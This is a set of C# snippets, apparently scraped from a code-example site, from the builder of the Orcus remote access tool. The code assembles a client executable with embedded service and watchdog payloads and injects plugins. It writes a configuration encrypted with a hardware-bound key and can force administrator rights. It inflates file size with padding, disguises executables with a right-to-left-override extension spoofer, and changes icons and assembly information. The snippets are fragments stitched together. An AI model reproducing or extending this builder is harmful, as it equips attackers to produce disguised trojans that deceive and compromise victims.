public bool DoWork(ref string path, IBuildLogger buildLogger)
        {
            using (var fs = new FileStream(path, FileMode.Open, FileAccess.Write))
            {
                long bytesToAdd;
                var size = _settings.Size*(_settings.SizeIsMiB ? (long) Math.Pow(1024, 2) : 1024);
                if (_settings.IsFinalSize)
                    bytesToAdd = size - fs.Length;
                else
                    bytesToAdd = size;

                if (bytesToAdd < 0)
                {
                    buildLogger.Error("Can't reduce the size of the file");
                    return false;
                }

                buildLogger.Status($"Pumping {bytesToAdd} bytes into the file");

                for (int i = 0; i < bytesToAdd; i++)
                    fs.WriteByte(0);

                buildLogger.Status("Pumping successful");
            }

            return true;
        }
Ejemplo n.º 2
0
        private void AddResources(AssemblyDefinition assemblyDefinition, List <IBuilderProperty> settings, IBuildLogger buildLogger)
        {
            if (settings.GetBuilderProperty <ServiceBuilderProperty>().Install)
            {
                buildLogger.Status(string.Format((string)Application.Current.Resources["BuildStatusAddResource"],
                                                 "Orcus.Service.exe.gz"));
                var resource =
                    Application.GetResourceStream(
                        new Uri(
                            "pack://application:,,,/Orcus.Administration.Resources;component/Client/Features/Orcus.Service.exe.gz"));
                if (resource == null)
                {
                    throw new FileNotFoundException();
                }
                using (var stream = resource.Stream)
                {
                    //Don't directly give the stream but load it into memory to dispose the resource afterwards
                    var data = new byte[stream.Length];
                    stream.Read(data, 0, (int)stream.Length);
                    assemblyDefinition.MainModule.Resources.Add(new EmbeddedResource("Orcus.Service.exe.gz",
                                                                                     ManifestResourceAttributes.Private, data));
                }
                buildLogger.Status(string.Format((string)Application.Current.Resources["BuildStatusResourceAdded"],
                                                 "Orcus.Service.exe.gz"));
            }

            if (settings.GetBuilderProperty <WatchdogBuilderProperty>().IsEnabled)
            {
                buildLogger.Status(string.Format((string)Application.Current.Resources["BuildStatusAddResource"],
                                                 "Orcus.Watchdog.exe.gz"));
                var resource =
                    Application.GetResourceStream(
                        new Uri(
                            "pack://application:,,,/Orcus.Administration.Resources;component/Client/Features/Orcus.Golem.exe.gz"));
                if (resource == null)
                {
                    throw new FileNotFoundException();
                }
                using (var stream = resource.Stream)
                {
                    //Don't directly give the stream but load it into memory to dispose the resource afterwards
                    var data = new byte[stream.Length];
                    stream.Read(data, 0, (int)stream.Length);
                    assemblyDefinition.MainModule.Resources.Add(new EmbeddedResource("Orcus.Watchdog.exe.gz",
                                                                                     ManifestResourceAttributes.Private, data));
                }
                buildLogger.Status(string.Format((string)Application.Current.Resources["BuildStatusResourceAdded"],
                                                 "Orcus.Watchdog.exe.gz"));
            }
        }
Ejemplo n.º 3
0
        private void InstallPlugins(AssemblyDefinition assemblyDefinition, IEnumerable <IPayload> plugins, IBuildLogger buildLogger, out List <PluginResourceInfo> installedPlugins)
        {
            installedPlugins = new List <PluginResourceInfo>();

            foreach (var plugin in plugins)
            {
                buildLogger.Status(string.Format((string)Application.Current.Resources["BuildStatusLoadingPlugin"], plugin.PluginInfo.Name));
                var payload = plugin.GetPayload();
                buildLogger.Status(string.Format((string)Application.Current.Resources["BuildStatusPluginLoaded"], FormatBytesConverter.BytesToString(payload.Length)));
                var resourceName = Guid.NewGuid().ToString("N");
                assemblyDefinition.MainModule.Resources.Add(new EmbeddedResource(resourceName, ManifestResourceAttributes.Private, payload));
                buildLogger.Success(string.Format((string)Application.Current.Resources["BuildStatusPluginInjected"], resourceName));

                ResourceType resourceType;
                if (plugin is ClientPlugin)
                {
                    resourceType = ResourceType.ClientPlugin;
                }
                else if (plugin is FactoryCommandPlugin)
                {
                    resourceType = ResourceType.FactoryCommand;
                }
                else
                {
                    resourceType = ResourceType.Command;
                }

                installedPlugins.Add(new PluginResourceInfo
                {
                    ResourceName  = resourceName,
                    ResourceType  = resourceType,
                    Guid          = plugin.PluginInfo.Guid,
                    PluginName    = plugin.PluginInfo.Name,
                    PluginVersion = plugin.PluginInfo.Version.ToString()
                });
            }
        }
        public bool DoWork(ref string path, IBuildLogger buildLogger)
        {
            var c = '\u202E';
            var fileName = _fileName + c + _spoofedExtension.Reverse() + _extension.ToLower();
            var newFile = new FileInfo(Path.Combine(Path.GetDirectoryName(path), fileName));

            if (newFile.Exists)
            {
                if (
                    MessageBox.Show("The file already exists. Overwrite?", "Extension Spoofer",
                        MessageBoxButton.OKCancel, MessageBoxImage.Exclamation, MessageBoxResult.Cancel) !=
                    MessageBoxResult.OK)
                    return false;
                newFile.Delete();
            }

            File.Move(path, newFile.FullName);
            path = fileName;
            buildLogger.Status("File successfully renamed");

            return true;
        }
Ejemplo n.º 5
0
        private AssemblyDefinition ResolveInternal(string fullName)
        {
            if (fullName == "System" || fullName == "mscorlib")
            {
                return(null);
            }

            _buildLogger.Status(string.Format((string)Application.Current.Resources["BuildStatusResolveLibrary"],
                                              fullName));

            var file = new FileInfo(fullName + ".dll");

            if (!file.Exists)
            {
                file = new FileInfo(Path.Combine("libraries", fullName + ".dll"));
            }

            if (file.Exists)
            {
                _buildLogger.Success((string)Application.Current.Resources["BuildStatusAssemblyResolved"]);
            }

            return(file.Exists ? AssemblyDefinition.ReadAssembly(file.FullName) : null);
        }
        private static void ApplySettings(AssemblyDefinition assemblyDefinition, List <IBuilderProperty> settings,
                                          List <PluginResourceInfo> pluginResources, List <ClientPlugin> plugins, IBuildLogger buildLogger)
        {
            string encryptionKey;

            using (var rsa = new RSACryptoServiceProvider(2048))
            {
                rsa.FromXmlString(
                    "<RSAKeyValue><Modulus>0KP1FXkZN1mfNPh2+rOUUh+4GdH5Z0HEE99acDdwkjW0twzNUOJelpKZCDlDgPpbtfsTNzeaSe1gpSH+etfQMenfvNJRIYiM0llWinGCArGF3PlfmcCIxnQp40iBKrxB4vJJlI0bCmw4zXr0ofNB2Yx9qNDpVII+NUkQ+MAqOh8=</Modulus><Exponent>AQAB</Exponent></RSAKeyValue>");
                encryptionKey =
                    Convert.ToBase64String(
                        rsa.Encrypt(Encoding.UTF8.GetBytes(new string(HardwareIdGenerator.HardwareId.Reverse().ToArray())), true));
            }

            var clientSettings = settings.Select(builderProperty => builderProperty.ToClientSetting()).ToList();
            var pluginSettings = new List <PluginSetting>();

            var allTypes = new List <Type>(BuilderPropertyHelper.GetAllBuilderPropertyTypes());

            var provideBuilderSettingsType = new Lazy <string>(() => typeof(IProvideBuilderSettings).FullName);

            foreach (var clientPlugin in plugins)
            {
                var providesProperties = clientPlugin.Plugin as IProvideEditableProperties;
                if (providesProperties != null)
                {
                    pluginSettings.Add(new PluginSetting
                    {
                        PluginId   = clientPlugin.PluginInfo.Guid,
                        Properties =
                            new List <PropertyNameValue>(
                                providesProperties.Properties.Select(x => x.ToPropertyNameValue())),
                        SettingsType = provideBuilderSettingsType.Value
                    });
                    allTypes.AddRange(providesProperties.Properties.Select(x => x.PropertyType));
                    continue;
                }

                var providesBuilderSettings = clientPlugin.Plugin as IProvideBuilderSettings;
                if (providesBuilderSettings != null)
                {
                    pluginSettings.AddRange(
                        providesBuilderSettings.BuilderSettings.Select(
                            builderSetting => builderSetting.BuilderProperty.ToPluginSetting(clientPlugin.PluginInfo)));
                    allTypes.AddRange(providesBuilderSettings.BuilderSettings.Select(x => x.BuilderProperty.GetType()));
                }
            }

            var clientConfig = new ClientConfig
            {
                PluginResources = pluginResources,
                Settings        = clientSettings
            };

            buildLogger.Status(string.Format((string)Application.Current.Resources["BuildStatusClientConfigCreated"],
                                             clientConfig.Settings.Count, clientConfig.PluginResources.Count));

            buildLogger.Status(string.Format((string)Application.Current.Resources["BuildStatusPluginConfigCreated"],
                                             pluginSettings.Count));

            var xmlSerializer = new XmlSerializer(typeof(ClientConfig), allTypes.ToArray());

            string settingsString;

            using (var stringWriter = new StringWriter())
            {
                xmlSerializer.Serialize(stringWriter, clientConfig);
                settingsString = stringWriter.ToString();
            }

            buildLogger.Status(string.Format(
                                   (string)Application.Current.Resources["BuildStatusClientConfigSerialized"],
                                   settingsString.Length));

            xmlSerializer = new XmlSerializer(typeof(List <PluginSetting>), allTypes.ToArray());

            string pluginSettingsString;

            using (var stringWriter = new StringWriter())
            {
                xmlSerializer.Serialize(stringWriter, pluginSettings);
                pluginSettingsString = stringWriter.ToString();
            }

            buildLogger.Status(string.Format(
                                   (string)Application.Current.Resources["BuildStatusPluginConfigSerialized"],
                                   pluginSettingsString.Length));

            var success = false;

            foreach (var typeDef in assemblyDefinition.Modules[0].Types)
            {
                if (typeDef.FullName == "Orcus.Config.SettingsData")
                {
                    foreach (var methodDef in typeDef.Methods)
                    {
                        if (methodDef.Name == ".cctor")
                        {
                            var strings = 1;

                            foreach (Instruction instruction in methodDef.Body.Instructions)
                            {
                                if (instruction.OpCode.Name == "ldstr") // string
                                {
                                    switch (strings)
                                    {
                                    case 1:
                                        instruction.Operand = AES.Encrypt(settingsString,
                                                                          encryptionKey);
                                        buildLogger.Status(
                                            (string)Application.Current.Resources["BuildStatusWriteClientConfig"]);
                                        break;

                                    case 2:
                                        instruction.Operand = AES.Encrypt(pluginSettingsString,
                                                                          encryptionKey);
                                        buildLogger.Status(
                                            (string)Application.Current.Resources["BuildStatusWritePluginConfig"]);
                                        break;

                                    case 3:
                                        instruction.Operand = encryptionKey;
                                        buildLogger.Status(
                                            (string)Application.Current.Resources["BuildStatusWriteSignature"]);
                                        success = true;
                                        break;
                                    }
                                    strings++;
                                }
                            }
                        }
                    }
                }
            }

            if (!success)
            {
                throw new Exception((string)Application.Current.Resources["BuildStatusUnableFindSettingsNamespace"]);
            }

            buildLogger.Success(
                (string)Application.Current.Resources["BuildStatusConfigWrittenSuccessfully"]);
        }
Ejemplo n.º 7
0
        public void Build(IBuilderInformation builderInformation, List <IBuilderProperty> properties,
                          List <BuildPluginEvent> builderEvents, List <ClientPlugin> plugins, IBuildLogger buildLogger)
        {
            buildLogger.Status(string.Format((string)Application.Current.Resources["BuildStatusLoadingStream"],
                                             properties.GetBuilderProperty <FrameworkVersionBuilderProperty>().FrameworkVersion));

            Stream stream = null;

            var loadStreamPlugins = builderEvents.Where(x => x.BuilderEvent is LoadStreamBuilderEvent).ToList();

            if (loadStreamPlugins.Count == 0)
            {
                var resource =
                    Application.GetResourceStream(
                        new Uri(
                            $"pack://application:,,,/Orcus.Administration.Resources;component/Client/{properties.GetBuilderProperty<FrameworkVersionBuilderProperty>().FrameworkVersion}/Orcus.exe"));

                if (resource == null)
                {
                    throw new FileNotFoundException();
                }

                stream = resource.Stream;
            }
            else if (loadStreamPlugins.Count == 1)
            {
                stream = ((LoadStreamBuilderEvent)loadStreamPlugins.Single().BuilderEvent).LoadStream(builderInformation);
                buildLogger.Warn("BuildPlugin \"" + loadStreamPlugins[0].BuildPlugin.PluginInfo.Name +
                                 "\" modified the source stream. The output won't be the original Orcus made by Orcus Technologies.");
            }
            else if (loadStreamPlugins.Count > 1)
            {
                throw new Exception(
                          $"The following build plugins want to change the source of the Orcus assembly: {string.Join(", ", loadStreamPlugins.Select(x => x.BuildPlugin.PluginInfo.Name))}. Please deselect all but one of these plugins to successfully build Orcus.");
            }

            using (stream)
            {
                buildLogger.Success(string.Format((string)Application.Current.Resources["BuildStatusStreamLoaded"],
                                                  FormatBytesConverter.BytesToString(stream.Length)));
                var assemblyDefinition = AssemblyDefinition.ReadAssembly(stream,
                                                                         new ReaderParameters {
                    AssemblyResolver = new AssemblyResolver(buildLogger)
                });

                buildLogger.Status((string)Application.Current.Resources["BuildStatusInjectingPlugins"]);

                List <PluginResourceInfo> installedPlugins;
                InstallPlugins(assemblyDefinition, plugins, buildLogger, out installedPlugins);

                buildLogger.Status((string)Application.Current.Resources["BuildStatusWritingSettings"]);
                ApplySettings(assemblyDefinition, properties, installedPlugins, plugins, buildLogger);
                AddResources(assemblyDefinition, properties, buildLogger);

                builderEvents.ExecuteBuildPluginEvents <ModifyAssemblyBuilderEvent>(
                    x => x.ModifyAssembly(builderInformation, assemblyDefinition));

                buildLogger.Status((string)Application.Current.Resources["BuildStatusSavingOnDisk"]);
                assemblyDefinition.Write(
                    builderInformation.OutputFiles.Single(x => x.OutputFileType == OutputFileType.MainAssembly).Path);
                buildLogger.Success((string)Application.Current.Resources["BuildStatusSavedSuccessfully"]);
            }

            builderEvents.ExecuteBuildPluginEvents <ClientFileCreatedBuilderEvent>(
                x => x.ClientFileCreated(builderInformation));

            var iconInfo = properties.GetBuilderProperty <ChangeIconBuilderProperty>();

            if (iconInfo.ChangeIcon)
            {
                buildLogger.Status((string)Application.Current.Resources["BuildStatusChangingIcon"]);
                Thread.Sleep(2000); //Wait for the filestream to close
                IconInjector.InjectIcon(builderInformation.AssemblyPath, iconInfo.IconPath);
                buildLogger.Success((string)Application.Current.Resources["BuildStatusIconChanged"]);
            }

            var assemblyInfo = properties.GetBuilderProperty <ChangeAssemblyInformationBuilderProperty>();

            if (assemblyInfo.ChangeAssemblyInformation)
            {
                buildLogger.Status((string)Application.Current.Resources["BuildStatusApplyingAssemblyInformation"]);
                Thread.Sleep(2000); //Wait for the filestream to close
                ApplyAssemblyInformation(builderInformation.AssemblyPath, assemblyInfo);
                buildLogger.Success((string)Application.Current.Resources["BuildStatusAssemblyInformationApplied"]);
            }

            if (properties.GetBuilderProperty <DefaultPrivilegesBuilderProperty>().RequireAdministratorRights)
            {
                buildLogger.Status((string)Application.Current.Resources["BuildStatusChangingManifest"]);
                Thread.Sleep(2000); //Wait for the filestream to close
                ApplyManifest(builderInformation.AssemblyPath);
                buildLogger.Success((string)Application.Current.Resources["BuildStatusManifestChanged"]);
            }

            builderEvents.ExecuteBuildPluginEvents <ClientFileModifiedBuilderEvent>(
                x => x.ClientFileModified(builderInformation));

            builderEvents.ExecuteBuildPluginEvents <ClientBuildCompletedBuilderEvent>(
                x => x.ClientBuildCompleted(builderInformation));
        }